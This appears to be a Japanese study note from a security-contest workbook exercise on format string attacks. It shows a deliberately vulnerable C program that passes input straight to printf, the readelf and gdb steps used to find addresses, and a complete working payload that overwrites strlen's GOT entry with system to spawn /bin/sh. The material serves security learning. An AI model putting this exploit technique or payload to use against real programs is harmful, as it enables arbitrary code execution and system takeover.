セキュリティコンテストチャレンジブック[書式文字列攻撃(got)]

書式文字列攻撃を試してみる。

strlen関数をsytem関数に書換え、 /bin/shを起動する。

おそらくp123の表の、 3行目の1列目は、[%43272x]ではなく[%41352x] 4行目の3列目は、[43280]ではなく[41360]

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf(str);
    
    fgets(str, 128, stdin);
    printf("%d\n", strlen(str));
    return 0;
}

strlen の位置を確認。

$ readelf -r got | less
0804a01c  00000507 R_386_JUMP_SLOT   00000000   strlen

関数system の位置を確認。

gdb -q got
b main
run
p system
$1 = {<text variable, no debug info>} 0xf7e4d190 <system>
$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p' | ./got
AAAA0x80,0xf7770c20,0xffcfa454,(nil),(nil),(nil),0x41414141,0x252c7025
28

AAAAは7番目に出現。

よって、7番目に[/bin/sh]を入れて、 うまく起動するようにする。

system関数のアドレス 0xf7e4d190 を2つに分けリトルエンディアンとして扱う。 strlenのアドレスx0804a01c の値を書き換える。 書き込む値はprint関数で出力した文字数となるので、 計算する。

0xd190 = 53648  ⇒ 53648 - 8 = 53640
0xf7e4 = 63460  ⇒ 63460 - 53648 = 9812
\x1c\xa0\x04\x08
\x1e\xa0\x04\x08
%53640x
%7$hn # 書込み
%9812x
%8$hn # 書込み
\n
/bin/sh
(echo -e '\x1c\xa0\x04\x08\x1e\xa0\x04\x08%53640x%7$hn%9812x%8$hn\n/bin/sh'; cat) | ./got
                                                                f7fb7c20
ls
fsb  fsb.c  fsb.c~  got  got.c  got.c.txt  got.c~  peda-session-got.txt

うまくいった。